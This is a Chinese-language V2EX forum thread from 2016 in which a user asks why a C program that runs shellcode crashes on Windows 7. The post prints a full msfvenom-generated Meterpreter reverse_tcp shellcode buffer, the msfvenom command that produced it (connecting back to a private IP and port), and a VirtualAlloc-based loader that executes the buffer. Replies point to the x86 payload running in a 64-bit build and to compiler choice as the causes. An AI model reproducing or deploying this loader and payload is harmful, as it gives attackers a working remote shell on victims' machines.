请问为什么我这样使用 c 语言调用 shellcode 编译运行会出错。。 - V2EX
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SgtDaJim
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请问为什么我这样使用 c 语言调用 shellcode 编译运行会出错。。

  •  
  •   SgtDaJim Nov 27, 2016 2348 views
    This topic created in 3438 days ago, the information mentioned may be changed or developed.

    代码:

    #include <stdio.h> #include <stdlib.h> #include <windows.h> /* run this program using the console pauser or add your own getch, system("pause") or input loop */ unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\c7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\x0a\x0a\x0a\x83\x68\x02" "\x00\x1e\x6c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff" "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" "\x53\xff\xd5"; int main(void) { printf("Execute meterpreter shellcode.....\n"); char *Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); } 

    shellcode 是用 msfvenom 生成的:

    msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.131 lport=7788 --platform win -f c No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 333 bytes Final size of c file: 1425 bytes unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\x0a\x0a\x0a\x83\x68\x02" "\x00\x1e\x6c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff" "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" "\x53\xff\xd5"; 

    然后在 win7 下运行会报 已停止工作。。 请问这是为什么呢? 我用 devc++编译的,会不会跟编译器有关?

    9 replies    2016-11-28 12:54:57 +08:00
    squid157
        1
    squid157  
       Nov 27, 2016 via iPhone
    x86 x64?
    q397064399
        2
    q397064399  
       Nov 27, 2016
    用 vc 吧, devc++是 mingw ,也就是 Linux 移植到 win 上的 gcc
    很多不完善
    SgtDaJim
        3
    SgtDaJim  
    OP
       Nov 27, 2016
    @squid157 编译是在 win10 64bit 下用 Dev c++ 64bit 编译的,运行是在 win7 64bit 下运行的
    SgtDaJim
        4
    SgtDaJim  
    OP
       Nov 27, 2016
    @q397064399 好吧,我试试。
        5
    squid157  
       Nov 28, 2016
    @SgtDaJim shell code 是 x86 ?
    enenaaa
        6
    enenaaa  
       Nov 28, 2016
    64 位进程里不能执行 x86 代码。
    另外把你汇编代码直接贴出来看啊。
    SgtDaJim
        7
    SgtDaJim  
    OP
       Nov 28, 2016
    @squid157 是的。。当时没填--arch 的参数。。自动生成了 x86 的 shellcode 。。
    SgtDaJim
        8
    SgtDaJim  
    OP
       Nov 28, 2016
    @enenaaa 没汇编代码啊。。
    SgtDaJim
        9
    SgtDaJim  
    OP
       Nov 28, 2016
    感谢大家的帮助。。我在另一个 win7 64bit 的虚拟机上装了 vs2013 然后运行代码,生成的 exe 程序正常运行了。。
    原来 DevC++还是有点问题的。。
    VS 大法好 233333
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